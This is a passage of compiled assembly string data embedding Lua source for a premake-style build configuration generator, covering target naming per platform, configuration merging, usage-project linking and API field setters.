namestyle == \"TegraAndroid\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" or kind == \"SharedLib\" then\nprefix = \"lib\"\next = \".so\"\nelseif kind == \"StaticLib\" then\nprefix = \"lib\"\next = \".a\"\nend\nelseif namestyle == \"NX\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\next = \".nspd_root\"\nelseif kind == \"StaticLib\" then\next = \".a\"\nelseif kind == \"SharedLib\" then\next = \".nro\"\nend\nelseif namestyle == \"Emscripten\" then\nif kind == \"ConsoleApp\" or kind == \"WindowedApp\" then\next = \".html\"\nelseif kind == \"StaticLib\" then\next = \".bc\"\nelseif kind == \"SharedLib\" then\next = \".js\"\nend\nend\nprefix = cfg[field..\"prefix\"] or cfg.targetprefix or prefix\nsuffix = cfg[field..\"suffix\"] or cfg.targetsuffix or suffix\next = cfg[field..\"extension\"] or cfg.targetextension or ext\nlocal result = { }\nresult.basename = name .. suffix\nresult.name = prefix .. name .. suffix .. ext\nresult.directory = dir\nresult.subdirectory = subdir\nresult.prefix = prefix\nresult.suffix = suffix\nresult.fullpath = path.join(result.directory, result.name)\nresult.bundlepath = bundlepath or result.fullpath\nif pathstyle == \"windows\" then\nresult.directory = path.translate(result.directory, \"\\\\\")\nresult.subdirectory = path.translate(result.subdirectory, \"\\\\\")\nresult.fullpath = path.translate(result.fullpath, \"\\\\\")\nend\nreturn result\nend\nfunction premake.gettool(cfg)\nif premake.iscppproject(cfg) then\nif _OPTIONS.cc then\nreturn premake[_OPTIONS.cc]\nend\nlocal action = premake.action.current()\nif action.valid_tools then\nreturn premake[action.valid_tools.cc[1]]\nend\nreturn premake.gcc\nelseif premake.isdotnetproject(cfg) then\nreturn premake.dotnet\nelseif premake.isswiftproject(cfg) then\nreturn premake.swift\nelse\nreturn premake.valac\nend\nend\nfunction premake.project.getvpath(prj, abspath)\nlocal vpath = abspath\nlocal fname = path.getname(abspath)\nlocal max = abspath:len() - fname:len()\n \n -- First check for an exact match from the inverse vpaths\n if prj.inversevpaths and prj.inversevpaths[abspath] then\n return path.join(prj.inversevpaths[abspath], fname)\n end\n local matches = {}\nfor replacement, patterns in pairs(prj.vpaths or {}) do\nfor _, pattern in ipairs(patterns) do\nlocal i = abspath:find(path.wildcards(pattern))\nif i == 1 then\ni = pattern:find(\"*\", 1, true) or (pattern:len() + 1)\nlocal leaf\nif i < max then\nleaf = abspath:sub(i)\nelse\nleaf = fname\nend\nif leaf:startswith(\"/\") then\nleaf = leaf:sub(2)\nend\nlocal stem = \"\"\nif replacement:len() > 0 then\nstem, stars = replacement:gsub(\"%*\", \"\")\nif stars == 0 then\nleaf = path.getname(leaf)\nend\nelse\nleaf = path.getname(leaf)\nend\ntable.insert(matches, path.join(stem, leaf))\nend\nend\nend\n \n if #matches > 0 then\n -- for the sake of determinism, return the first alphabetically\n table.sort(matches)\n vpath = matches[1]\n end\nreturn path.trimdots(vpath)\nend\nfunction premake.hascppproject(sln)\nfor prj in premake.solution.eachproject(sln) do\nif premake.iscppproject(prj) then\nreturn true\nend\nend\nend\nfunction premake.hasdotnetproject(sln)\nfor prj in premake.solution.eachproject(sln) do\nif premake.isdotnetproject(prj) then\nreturn true\nend\nend\nend\nfunction premake.project.iscproject(prj)\nreturn prj.language == \"C\"\nend\nfunction premake.iscppproject(prj)\nreturn (prj.language == \"C\" or prj.language == \"C++\")\nend\nfunction premake.isdotnetproject(prj)\nreturn (prj.language == \"C#\")\nend\nfunction premake.isvalaproject(prj)\nreturn (prj.language == \"Vala\")\nend\nfunction premake.isswiftproject(prj)\nreturn (prj.language == \"Swift\")\nend\n"
L_.str.11: ## @.str.11
.asciz "premake.config = { }\nlocal config = premake.config\nfunction premake.config.isdebugbuild(cfg)\nif cfg.flags.DebugRuntime then\nreturn true\nend\nif cfg.flags.ReleaseRuntime then\nreturn false\nend\nif cfg.flags.Optimize or cfg.flags.OptimizeSize or cfg.flags.OptimizeSpeed then\nreturn false\nend\nif not cfg.flags.Symbols then\nreturn false\nend\nreturn true\nend\nfunction premake.config.eachfile(cfg)\nlocal i = 0\nlocal t = cfg.files\nreturn function ()\ni = i + 1\nif (i <= #t) then\nlocal fcfg = cfg.__fileconfigs[t[i]]\nfcfg.vpath = premake.project.getvpath(cfg.project, fcfg.name)\nreturn fcfg\nend\nend\nend\nfunction premake.config.isincrementallink(cfg)\nif cfg.kind == \"StaticLib\" then\nreturn false\nend\nreturn not config.islinkeroptimizedbuild(cfg.flags) and not cfg.flags.NoIncrementalLink\nend\nfunction premake.config.isoptimizedbuild(flags)\nreturn flags.Optimize or flags.OptimizeSize or flags.OptimizeSpeed\nend\nfunction premake.config.islinkeroptimizedbuild(flags)\nreturn config.isoptimizedbuild(flags) and not flags.NoOptimizeLink\nend\nfunction premake.config.iseditandcontinue(cfg)\nif cfg.flags.NoEditAndContinue\nor cfg.flags.Managed\nor (cfg.kind ~= \"StaticLib\" and not config.isincrementallink(cfg))\nor config.islinkeroptimizedbuild(cfg.flags) then\nreturn false\nend\nreturn true\nend\n"
L_.str.12: ## @.str.12
.asciz "premake.bake = { }\nlocal bake = premake.bake\nlocal nocopy =\n{\nblocks = true,\nkeywords = true,\nprojects = true,\n__configs = true,\n}\nlocal nocascade =\n{\nmakesettings = true,\n}\nlocal keeprelative =\n{\nbasedir = true,\nlocation = true,\n}\nfunction premake.getactiveterms(obj)\nlocal terms = { _action = _ACTION:lower(), os = os.get() }\nfor key, value in pairs(_OPTIONS) do\nif value ~= \"\" then\ntable.insert(terms, value:lower())\nelse\ntable.insert(terms, key:lower())\nend\nend\nreturn terms\nend\nfunction premake.iskeywordmatch(keyword, terms)\nif keyword:startswith(\"not \") then\nreturn not premake.iskeywordmatch(keyword:sub(5), terms)\nend\nfor _, pattern in ipairs(keyword:explode(\" or \")) do\nfor termkey, term in pairs(terms) do\nif term:match(pattern) == term then\nreturn termkey\nend\nend\nend\nend\nfunction premake.iskeywordsmatch(keywords, terms)\nlocal hasrequired = false\nfor _, keyword in ipairs(keywords) do\nlocal matched = premake.iskeywordmatch(keyword, terms)\nif not matched then\nreturn false\nend\nif matched == \"required\" then\nhasrequired = true\nend\nend\nif terms.required and not hasrequired then\nreturn false\nelse\nreturn true\nend\nend\nlocal function adjustpaths(location, obj)\nfunction adjustpathlist(list)\nfor i, p in ipairs(list) do\nlist[i] = path.getrelative(location, p)\nend\nend\nif obj.allfiles ~= nil then\nadjustpathlist(obj.allfiles)\nend\nfor name, value in pairs(obj) do\nlocal field = premake.fields[name]\nif field and value and not keeprelative[name] then\nif field.kind == \"path\" then\nobj[name] = path.getrelative(location, value)\nelseif field.kind == \"dirlist\" or field.kind == \"filelist\" then\nadjustpathlist(value)\nelseif field.kind == \"keypath\" then\nfor k,v in pairs(value) do\nadjustpathlist(v)\nend\nend\nend\nend\nend\nlocal function removevalue(tbl, remove)\nfor index, item in ipairs(tbl) do\nif item == remove then\ntable.remove(tbl, index)\nbreak\nend\nend\nend\nlocal function removevalues(tbl, removes)\nfor k, v in pairs(tbl) do\nfor _, pattern in ipairs(removes) do\nif pattern == tbl[k] then\nif type(k) == \"number\" then\ntable.remove(tbl, k)\nelse\ntbl[k] = nil\nend\nbreak\nend\nend\nend\nend\nlocal function mergefield(kind, dest, src, mergecopiestotail)\nlocal tbl = dest or { }\nif kind == \"keyvalue\" or kind == \"keypath\" then\nfor key, value in pairs(src) do\ntbl[key] = mergefield(\"list\", tbl[key], value, mergecopiestotail)\nend\nelse\nfor _, item in ipairs(src) do\nif tbl[item] then\nif mergecopiestotail then\nremovevalue(tbl, item)\ntable.insert(tbl, item)\ntbl[item] = item\nend\nelse\ntable.insert(tbl, item)\ntbl[item] = item\nend\nend\nend\nreturn tbl\nend\nlocal function mergeobject(dest, src)\nif not src then\nreturn\nend\nfor fieldname, value in pairs(src) do\nif not nocopy[fieldname] then\nlocal field = premake.fields[fieldname]\nif field then\nif type(value) == \"table\" then\ndest[fieldname] = mergefield(field.kind, dest[fieldname], value, field.mergecopiestotail)\nif src.removes then\nremoves = src.removes[fieldname]\nif removes then\nremovevalues(dest[fieldname], removes)\nend\nend\nelse\ndest[fieldname] = value\nend\nelse\ndest[fieldname] = value\nend\nend\nend\nend\nlocal function merge(dest, obj, basis, terms, cfgname, pltname)\nlocal key = cfgname or \"\"\npltname = pltname or \"Native\"\nif pltname ~= \"Native\" then\nkey = key .. pltname\nend\nterms.config = (cfgname or \"\"):lower()\nterms.platform = pltname:lower()\nlocal cfg = {}\nmergeobject(cfg, basis[key])\nadjustpaths(obj.location, cfg)\nmergeobject(cfg, obj)\nif (cfg.kind) then\nterms['kind']=cfg.kind:lower()\nend\nfor _, blk in ipairs(obj.blocks) do\nif (premake.iskeywordsmatch(blk.keywords, terms))then\nmergeobject(cfg, blk)\nif (cfg.kind and not cfg.terms.kind) then\ncfg.terms['kind'] = cfg.kind:lower()\nterms['kind'] = cfg.kind:lower()\nend\nend\nend\ncfg.name = cfgname\ncfg.platform = pltname\nfor k,v in pairs(terms) do\ncfg.terms[k] =v\nend\ndest[key] = cfg\nend\nlocal function collapse(obj, basis)\nlocal result = {}\nbasis = basis or {}\nlocal sln = obj.solution or obj\nlocal terms = premake.getactiveterms(obj)\nmerge(result, obj, basis, terms)--this adjusts terms\nfor _, cfgname in ipairs(sln.configurations) do\nlocal terms_local = {}\nfor k,v in pairs(terms)do terms_local[k]=v end\nmerge(result, obj, basis, terms_local, cfgname, \"Native\")--terms cam also be adjusted here\nfor _, pltname in ipairs(sln.platforms or {}) do\nif pltname ~= \"Native\" then\nmerge(result, obj, basis,terms_local, cfgname, pltname)--terms also here\nend\nend\nend\nreturn result\nend\nlocal function builduniquedirs()\nlocal num_variations = 4\nlocal cfg_dirs = {}\nlocal hit_counts = {}\nfor sln in premake.solution.each() do\nfor _, prj in ipairs(sln.projects) do\nfor _, cfg in pairs(prj.__configs) do\nlocal dirs = { }\ndirs[1] = path.getabsolute(path.join(cfg.location, cfg.objdir or cfg.project.objdir or \"obj\"))\ndirs[2] = path.join(dirs[1], iif(cfg.platform == \"Native\", \"\", cfg.platform))\ndirs[3] = path.join(dirs[2], cfg.name)\ndirs[4] = path.join(dirs[3], cfg.project.name)\ncfg_dirs[cfg] = dirs\nlocal start = iif(cfg.name, 2, 1)\nfor v = start, num_variations do\nlocal d = dirs[v]\nhit_counts[d] = (hit_counts[d] or 0) + 1\nend\nend\nend\nend\nfor sln in premake.solution.each() do\nfor _, prj in ipairs(sln.projects) do\nfor _, cfg in pairs(prj.__configs) do\nlocal dir\nlocal start = iif(cfg.name, 2, 1)\nfor v = start, iif(cfg.flags.SingleOutputDir==true,num_variations-1,num_variations) do\ndir = cfg_dirs[cfg][v]\nif hit_counts[dir] == 1 then break end\nend\ncfg.objectsdir = path.getrelative(cfg.location, dir)\nend\nend\nend\nend\nlocal function buildtargets()\nfor sln in premake.solution.each() do\nfor _, prj in ipairs(sln.projects) do\nfor _, cfg in pairs(prj.__configs) do\nlocal pathstyle = premake.getpathstyle(cfg)\nlocal namestyle = premake.getnamestyle(cfg)\ncfg.buildtarget = premake.gettarget(cfg, \"build\", pathstyle, namestyle, cfg.system)\ncfg.linktarget = premake.gettarget(cfg, \"link\", pathstyle, namestyle, cfg.system)\nif pathstyle == \"windows\" then\ncfg.objectsdir = path.translate(cfg.objectsdir, \"\\\\\")\nend\nend\nend\nend\nend\n local function getCfgKind(cfg)\n if(cfg.kind) then\n return cfg.kind;\n end\n if(cfg.project.__configs[\"\"] and cfg.project.__configs[\"\"].kind) then\n return cfg.project.__configs[\"\"].kind;\n end\n return nil\n end\n local function getprojrec(dstArray, foundList, cfg, cfgname, searchField, bLinkage)\n if(not cfg) then return end\n local foundUsePrjs = {};\n for _, useName in ipairs(cfg[searchField]) do\n local testName = useName:lower();\n if((not foundList[testName])) then\n local theProj = nil;\n local theUseProj = nil;\n for _, prj in ipairs(cfg.project.solution.projects) do\n if (prj.name:lower() == testName) then\n if(prj.usage) then\n theUseProj = prj;\n else\n theProj = prj;\n end\n end\n end\n --Must connect to a usage project.\n if(theUseProj) then\n foundList[testName] = true;\n local prjEntry = {\n name = testName,\n proj = theProj,\n usageProj = theUseProj,\n bLinkageOnly = bLinkage,\n };\n dstArray[testName] = prjEntry;\n table.insert(foundUsePrjs, theUseProj);\n end\n end\n end\n for _, usePrj in ipairs(foundUsePrjs) do\n --Links can only recurse through static libraries.\n if((searchField ~= \"links\") or\n (getCfgKind(usePrj.__configs[cfgname]) == \"StaticLib\")) then\n getprojrec(dstArray, foundList, usePrj.__configs[cfgname],\n cfgname, searchField, bLinkage);\n end\n end\n end\n --\n -- This function will recursively get all projects that the given configuration has in its \"uses\"\n -- field. The return values are a list of tables. Each table in that list contains the following:\n --name = The lowercase name of the project.\n --proj = The project. Can be nil if it is usage-only.\n --usageProj = The usage project. Can't be nil, as using a project that has no\n -- usage project is not put into the list.\n --bLinkageOnly = If this is true, then only the linkage information should be copied.\n -- The recursion will only look at the \"uses\" field on *usage* projects.\n -- This function will also add projects to the list that are mentioned in the \"links\"\n -- field of usage projects. These will only copy linker information, but they will recurse.\n -- through other \"links\" fields.\n --\n local function getprojectsconnections(cfg, cfgname)\n local dstArray = {};\n local foundList = {};\n foundList[cfg.project.name:lower()] = true;\n --First, follow the uses recursively.\n getprojrec(dstArray, foundList, cfg, cfgname, \"uses\", false);\n --Next, go through all of the usage projects and recursively get their links.\n --But only if they're not already there. Get the links as linkage-only.\n local linkArray = {};\n for prjName, prjEntry in pairs(dstArray) do\n getprojrec(linkArray, foundList, prjEntry.usageProj.__configs[cfgname], cfgname,\n \"links\", true);\n end\n --Copy from linkArray into dstArray.\n for prjName, prjEntry in pairs(linkArray) do\n dstArray[prjName] = prjEntry;\n end\n return dstArray;\n end\n local function isnameofproj(cfg, strName)\n local sln = cfg.project.solution;\n local strTest = strName:lower();\n for prjIx, prj in ipairs(sln.projects) do\n if (prj.name:lower() == strTest) then\n return true;\n end\n end\n return false;\n end\n --\n -- Copies the field from dstCfg to srcCfg.\n --\n local function copydependentfield(srcCfg, dstCfg, strSrcField)\n local srcField = premake.fields[strSrcField];\n local strDstField = strSrcField;\n if type(srcCfg[strSrcField]) == \"table\" then\n --handle paths.\n if (srcField.kind == \"dirlist\" or srcField.kind == \"filelist\") and\n (not keeprelative[strSrcField]) then\n for i,p in ipairs(srcCfg[strSrcField]) do\n table.insert(dstCfg[strDstField],\n path.rebase(p, srcCfg.project.location, dstCfg.project.location))\n end\n else\n if(strSrcField == \"links\") then\n for i,p in ipairs(srcCfg[strSrcField]) do\n if(not isnameofproj(dstCfg, p)) then\n table.insert(dstCfg[strDstField], p)\n else\n printf(\"Failed to copy '%s' from proj '%s'.\",\n p, srcCfg.project.name);\n end\n end\n else\n for i,p in ipairs(srcCfg[strSrcField]) do\n table.insert(dstCfg[strDstField], p)\n end\n end\n end\n else\n if(srcField.kind == \"path\" and (not keeprelative[strSrcField])) then\n dstCfg[strDstField] = path.rebase(srcCfg[strSrcField],\n prj.location, dstCfg.project.location);\n else\n dstCfg[strDstField] = srcCfg[strSrcField];\n end\n end\n end\n --\n -- This function will take the list of project entries and apply their usage project data\n -- to the given configuration. It will copy compiling information for the projects that are\n -- not listed as linkage-only. It will copy the linking information for projects only if\n -- the source project is not a static library. It won't copy linking information\n -- if the project is in this solution; instead it will add that project to the configuration's\n -- links field, expecting that Premake will handle the rest.\n --\n local function copyusagedata(cfg, cfgname, linkToProjs)\n local myPrj = cfg.project;\n local bIsStaticLib = (getCfgKind(cfg) == \"StaticLib\");\n for prjName, prjEntry in pairs(linkToProjs) do\n local srcPrj = prjEntry.usageProj;\n local srcCfg = srcPrj.__configs[cfgname];\n for name, field in pairs(premake.fields) do\n if(srcCfg[name]) then\n if(field.usagecopy) then\n if(not prjEntry.bLinkageOnly) then\n copydependentfield(srcCfg, cfg, name)\n end\n elseif(field.linkagecopy) then\n --Copy the linkage data if we're building a non-static thing\n --and this is a pure usage project. If it's not pure-usage, then\n --we will simply put the project's name in the links field later.\n if((not bIsStaticLib) and (not prjEntry.proj)) then\n copydependentfield(srcCfg, cfg, name)\n end\n end\n end\n end\n if((not bIsStaticLib) and prjEntry.proj) then\n table.insert(cfg.links, prjEntry.proj.name);\n end\n end\n end\n local function inverseliteralvpaths()\n for sln in premake.solution.each() do\n for _,prj in ipairs(sln.projects) do\n prj.inversevpaths = {}\n for replacement, patterns in pairs(prj.vpaths or {}) do\n for _, pattern in ipairs(patterns) do\n if string.find(pattern, \"*\") == nil then\n prj.inversevpaths[pattern] = replacement\n end\n end\n end\n end\n end\n end\nfunction premake.bake.buildconfigs()\nfor sln in premake.solution.each() do\nfor _, prj in ipairs(sln.projects) do\nprj.location = prj.location or sln.location or prj.basedir\nadjustpaths(prj.location, prj)\nfor _, blk in ipairs(prj.blocks) do\nadjustpaths(prj.location, blk)\nend\nend\nsln.location = sln.location or sln.basedir\nend\n -- convert paths for imported projects to be relative to solution location\nfor sln in premake.solution.each() do\nfor _, iprj in ipairs(sln.importedprojects) do\niprj.location = path.getabsolute(iprj.location)\nend\nend\n inverseliteralvpaths()\nfor sln in premake.solution.each() do\nlocal basis = collapse(sln)\nfor _, prj in ipairs(sln.projects) do\nprj.__configs = collapse(prj, basis)\nfor _, cfg in pairs(prj.__configs) do\nbake.postprocess(prj, cfg)\nend\nend\nend\nfor sln in premake.solution.each() do\nfor prjIx, prj in ipairs(sln.projects) do\nif(not prj.usage) then\nfor cfgname, cfg in pairs(prj.__configs) do\nlocal usesPrjs = getprojectsconnections(cfg, cfgname);\ncopyusagedata(cfg, cfgname, usesPrjs)\nend\nend\nend\nend\nfor sln in premake.solution.each() do\nfor prjIx, prj in ipairs(sln.projects) do\nfor cfgName, cfg in pairs(prj.__configs) do\ncfg.build = true\nlocal removes = nil\nif cfg.removes ~= nil then\nremoves = cfg.removes[\"platforms\"];\nend\nif removes ~= nil then\nfor _,p in ipairs(removes) do\nif p == cfg.platform then\ncfg.build = false\nend\nend\nend\nend\nend\nend\nfor sln in premake.solution.each() do\nlocal removeList = {};\nfor index, prj in ipairs(sln.projects) do\nif(prj.usage) then\ntable.insert(removeList, 1, index); --Add in reverse order.\nend\nend\nfor _, index in ipairs(removeList) do\ntable.remove(sln.projects, index);\nend\nend\nbuilduniquedirs()\nbuildtargets(cfg)\nend\nfunction premake.bake.postprocess(prj, cfg)\ncfg.project = prj\ncfg.shortname = premake.getconfigname(cfg.name, cfg.platform, true)\ncfg.longname = premake.getconfigname(cfg.name, cfg.platform)\ncfg.location = cfg.location or cfg.basedir\nlocal platform = premake.platforms[cfg.platform]\nif platform.iscrosscompiler then\ncfg.system = cfg.platform\nelse\ncfg.system = os.get()\nend\nif cfg.kind == \"Bundle\"\nand _ACTION ~= \"gmake\"\nand (_ACTION ~= \"ninja\" and (not prj.options or not prj.options.SkipBundling))\nand not _ACTION:match(\"xcode[0-9]\") then\ncfg.kind = \"SharedLib\"\nend\nif cfg.kind == \"SharedLib\" and platform.nosharedlibs then\ncfg.kind = \"StaticLib\"\nend\nlocal removefiles = cfg.removefiles\nif _ACTION == 'gmake' or _ACTION == 'ninja' then\nremovefiles = table.join(removefiles, cfg.excludes)\nend\nlocal removefilesDict = {}\nfor _, fname in ipairs(removefiles) do\nremovefilesDict[fname] = true\nend\nlocal files = {}\nfor _, fname in ipairs(cfg.files) do\nif removefilesDict[fname] == nil then\ntable.insert(files, fname)\nend\nend\ncfg.files = files\nlocal allfiles = {}\nlocal allfilesDict = {}\nif cfg.allfiles ~= nil then\nfor _, fname in ipairs(cfg.allfiles) do\nif allfilesDict[fname] == nil then\nif removefilesDict[fname] == nil then\nallfilesDict[fname] = true\ntable.insert(allfiles, fname)\nend\nend\nend\nend\ncfg.allfiles = allfiles\nfor name, field in pairs(premake.fields) do\nif field.isflags then\nlocal values = cfg[name]\nfor _, flag in ipairs(values) do values[flag] = true end\nend\nend\nlocal cfgfields = {\n{\"__fileconfigs\", cfg.files},\n{\"__allfileconfigs\", cfg.allfiles},\n}\nfor _, cfgfield in ipairs(cfgfields) do\nlocal fieldname = cfgfield[1]\nlocal field = cfgfield[2]\ncfg[fieldname] = { }\nfor _, fname in ipairs(field) do\nlocal fcfg = {}\nif premake._filelevelconfig then\ncfg.terms.required = fname:lower()\nfor _, blk in ipairs(cfg.project.blocks) do\nif (premake.iskeywordsmatch(blk.keywords, cfg.terms)) then\nmergeobject(fcfg, blk)\nend\nend\nend\nfcfg.name = fname\ncfg[fieldname][fname] = fcfg\ntable.insert(cfg[fieldname], fcfg)\nend\nend\nend\n"
L_.str.13: ## @.str.13
.asciz "premake.fields = {}\npremake.check_paths = false\nfunction premake.checkvalue(value, allowed)\nif (allowed) then\nif (type(allowed) == \"function\") then\nreturn allowed(value)\nelse\nfor _,v in ipairs(allowed) do\nif (value:lower() == v:lower()) then\nreturn v\nend\nend\nreturn nil, \"invalid value '\" .. value .. \"'\"\nend\nelse\nreturn value\nend\nend\nfunction premake.getobject(t)\nlocal container\nif (t == \"container\" or t == \"solution\") then\ncontainer = premake.CurrentContainer\nelse\ncontainer = premake.CurrentConfiguration\nend\nif t == \"solution\" then\nif typex(container) == \"project\" then\ncontainer = container.solution\nend\nif typex(container) ~= \"solution\" then\ncontainer = nil\nend\nend\nlocal msg\nif (not container) then\nif (t == \"container\") then\nmsg = \"no active solution or project\"\nelseif (t == \"solution\") then\nmsg = \"no active solution\"\nelse\nmsg = \"no active solution, project, or configuration\"\nend\nend\nreturn container, msg\nend\nfunction premake.setarray(obj, fieldname, value, allowed)\nobj[fieldname] = obj[fieldname] or {}\nlocal function add(value, depth)\nif type(value) == \"table\" then\nfor _,v in ipairs(value) do\nadd(v, depth + 1)\nend\nelse\nvalue, err = premake.checkvalue(value, allowed)\nif not value then\nerror(err, depth)\nend\ntable.insert(obj[fieldname], value)\nend\nend\nif value then\nadd(value, 5)\nend\nreturn obj[fieldname]\nend\nfunction premake.settable(obj, fieldname, value, allowed)\nobj[fieldname] = obj[fieldname] or {}\ntable.insert(obj[fieldname], value)\nreturn obj[fieldname]\nend\nlocal function domatchedarray(fields, value, matchfunc)\nlocal result = { }\nfunction makeabsolute(value, depth)\nif (type(value) == \"table\") then\nfor _, item in ipairs(value) do\nmakeabsolute(item, depth + 1)\nend\nelseif type(value) == \"string\" then\nif value:find(\"*\") then\nlocal arr = matchfunc(value);\nif (premake.check_paths) and (#arr == 0) then\nerror(\"Can't find matching files for pattern :\" .. value)\nend\nmakeabsolute(arr, depth + 1)\nelse\ntable.insert(result, path.getabsolute(value))\nend\nelse\nerror(\"Invalid value in list: expected string, got \" .. type(value), depth)\nend\nend\nmakeabsolute(value, 3)\nlocal retval = {}\nfor index, field in ipairs(fields) do\nlocal ctype = field[1]\nlocal fieldname = field[2]\nlocal array = premake.setarray(ctype, fieldname, result)\nif index == 1 then\nretval = array\nend\nend\nreturn retval\nend\nfunction premake.setdirarray(fields, value)\nreturn domatchedarray(fields, value, os.matchdirs)\nend\nfunction premake.setfilearray(fields, value)\nreturn domatchedarray(fields, value, os.matchfiles)\nend\nfunction premake.setkeyvalue(ctype, fieldname, values)\nlocal container, err = premake.getobject(ctype)\nif not container then\nerror(err, 4)\nend\nif not container[fieldname] then\ncontainer[fieldname] = {}\nend\nif type(values) ~= \"table\" then\nerror(\"invalid value; table expected\", 4)\nend\nlocal field = container[fieldname]\nfor key,value in pairs(values) do\nif not field[key] then\nfield[key] = {}\nend\ntable.insertflat(field[key], value)\nend\nreturn field\nend\nfunction premake.setstring(ctype, fieldname, value, allowed)\nlocal container, err = premake.getobject(ctype)\nif (not container) then\nerror(err, 4)\nend\nif (value) then\nvalue, err = premake.checkvalue(value, allowed)\nif (not value) then\nerror(err, 4)\nend\ncontainer[fieldname] = value\nend\nreturn container[fieldname]\nend\nfunction premake.remove(fieldname, value)\nlocal cfg = premake.CurrentConfiguration\ncfg.removes = cfg.removes or {}\ncfg.removes[fieldname] = premake.setarray(cfg.removes, fieldname, value)\nend\nlocal function accessor(name, value)\nlocal kind = premake.fields[name].kind\nlocal scope = premake.fields[name].scope\nlocal allowed = premake.fields[name].allowed\nif (kind == \"string\" or kind == \"path\") and value then\nif type(value) ~= \"string\" then\nerror(\"string value expected\", 3)\nend\nend\nlocal container, err = premake.getobject(scope)\nif (not container) then\nerror(err, 3)\nend\nif kind == \"string\" then\nreturn premake.setstring(scope, name, value, allowed)\nelseif kind == \"path\" then\nif value then value = path.getabsolute(value) end\nreturn premake.setstring(scope, name, value)\nelseif kind == \"list\" then\nreturn premake.setarray(container, name, value, allowed)\nelseif kind == \"table\" then\nreturn premake.settable(container, name, value, allowed)\nelseif kind == \"dirlist\" then\nreturn premake.setdirarray({{container, name}}, value)\nelseif kind == \"filelist\" or kind == \"absolutefilelist\" then\nlocal fields = {{container, name}}\nif name == \"files\" then\nlocal prj, err = premake.getobject(\"container\")\nif (not prj) then\nerror(err, 2)\nend\ntable.insert(fields, {prj.blocks[1], \"allfiles\"})\nend\nreturn premake.setfilearray(fields, value)\nelseif kind == \"keyvalue\" or kind == \"keypath\" then\nreturn premake.setkeyvalue(scope, name, value)\nend\nend\nfunction configuration(terms)\nif not terms then\nreturn premake.CurrentConfiguration\nend\nlocal container, err = premake.getobject(\"container\")\nif (not container) then\nerror(err, 2)\nend\nlocal cfg = { }\ncfg.terms = table.flatten({terms})\ntable.insert(container.blocks, cfg)\npremake.CurrentConfiguration = cfg\ncfg.keywords = { }\nfor _, word in ipairs(cfg.terms) do\ntable.insert(cfg.keywords, path.wildcards(word):lower())\nend\nfor name, field in pairs(premake.fields) do\nif (field.kind ~= \"string\" and field.kind ~= \"path\") then\ncfg[name] = { }\nend\nend\nreturn cfg\nend\nlocal function creategroup(name, sln, curpath, parent, inpath)\nlocal group = {}\nsetmetatable(group, {\n__type = \"group\"\n})\ntable.insert(sln.groups, group)\nsln.groups[inpath] = group\nif parent ~= nil then\ntable.insert(parent.groups, group)\nend\ngroup.solution = sln\ngroup.name = name\ngroup.uuid = os.uuid(curpath)\ngroup.parent = parent\ngroup.projects = { }\ngroup.groups = { }\nreturn group\nend\nlocal function creategroupsfrompath(inpath, sln)\nif inpath == nil then return nil end\ninpath = path.translate(inpath, \"/\")\nlocal groups = string.explode(inpath, \"/\")\nlocal curpath = \"\"\nlocal lastgroup = nil\nfor i, v in ipairs(groups) do\ncurpath = curpath .. \"/\" .. v:lower()\nlocal group = sln.groups[curpath]\nif group == nil then\ngroup = creategroup(v, sln, curpath, lastgroup, curpath)\nend\nlastgroup = group\nend\nreturn lastgroup\nend\nlocal function createproject(name, sln, isUsage)\nlocal prj = {}\nsetmetatable(prj, {\n__type = \"project\",\n})\ntable.insert(sln.projects, prj)\nif(isUsage) then\nif(sln.projects[name]) then\nsln.projects[name].usageProj = prj;\nelse\nsln.projects[name] = prj\nend\nelse\nif(sln.projects[name]) then\nprj.usageProj = sln.projects[name];\nend\nsln.projects[name] = prj\nend\nlocal group = creategroupsfrompath(premake.CurrentGroup, sln)\nif group ~= nil then\ntable.insert(group.projects, prj)\nend\nprj.solution = sln\nprj.name = name\nprj.basedir = os.getcwd()\nprj.uuid = os.uuid(prj.name)\nprj.blocks = { }\nprj.usage = isUsage\nprj.group = group\nreturn prj;\nend\nfunction usage(name)\nif (not name) then\nif(typex(premake.CurrentContainer) ~= \"project\") then return nil end\nif(not premake.CurrentContainer.usage) then return nil end\nreturn premake.CurrentContainer\nend\nlocal sln\nif (typex(premake.CurrentContainer) == \"project\") then\nsln = premake.CurrentContainer.solution\nelse\nsln = premake.CurrentContainer\nend\nif (typex(sln) ~= \"solution\") then\nerror(\"no active solution\", 2)\nend\nif((not sln.projects[name]) or\n((not sln.projects[name].usage) and (not sln.projects[name].usageProj))) then\npremake.CurrentContainer = createproject(name, sln, true)\nelse\npremake.CurrentContainer = iff(sln.projects[name].usage,\nsln.projects[name], sln.projects[name].usageProj)\nend\nconfiguration { }\nreturn premake.CurrentContainer\nend\nfunction project(name)\nif (not name) then\nif(typex(premake.CurrentContainer) ~= \"project\") then return nil end\nif(premake.CurrentContainer.usage) then return nil end\nreturn premake.CurrentContainer\nend\nlocal sln\nif (typex(premake.CurrentContainer) == \"project\") then\nsln = premake.CurrentContainer.solution\nelse\nsln = premake.CurrentContainer\nend\nif (typex(sln) ~= \"solution\") then\nerror(\"no active solution\", 2)\nend\nif((not sln.projects[name]) or sln.projects[name].usage) then\npremake.CurrentContainer = createproject(name, sln)\nelse\npremake.CurrentContainer = sln.projects[name];\nend\nconfiguration { }\nreturn premake.CurrentContainer\nend\nfunction solution(name)\nif not name then\nif typex(premake.CurrentContainer) == \"project\" then\nreturn premake.CurrentContainer.solution\nelse\nreturn premake.CurrentContainer\nend\nend\npremake.CurrentContainer = premake.solution.get(name)\nif (not premake.CurrentContainer) then\npremake.CurrentContainer = premake.solution.new(name)\nend\nconfiguration { }\nreturn premake.CurrentContainer\nend\nfunction group(name)\nif not name then\nreturn premake.CurrentGroup\nend\npremake.CurrentGroup = name\nreturn premake.CurrentGroup\nend\nfunction importvsproject(location)\nif string.find(_ACTION, \"vs\") ~= 1 then\nerror(\"Only available for visual studio actions\")\nend\nsln, err = premake.getobject(\"solution\")\nif not sln then\nerror(err)\nend\nlocal group = creategroupsfrompath(premake.CurrentGroup, sln)\nlocal project = {}\nproject.location = location\nproject.group = group\nproject.flags = {}\ntable.insert(sln.importedprojects, project)\n end\nfunction newaction(a)\npremake.action.add(a)\nend\nfunction newoption(opt)\npremake.option.add(opt)\nend\nfunction enablefilelevelconfig()\npremake._filelevelconfig = true\nend\nfunction newapifield(field)\npremake.fields[field.name] = field\n_G[field.name] = function(value)\nreturn accessor(field.name, value)\nend\nif field.kind == \"list\"\nor 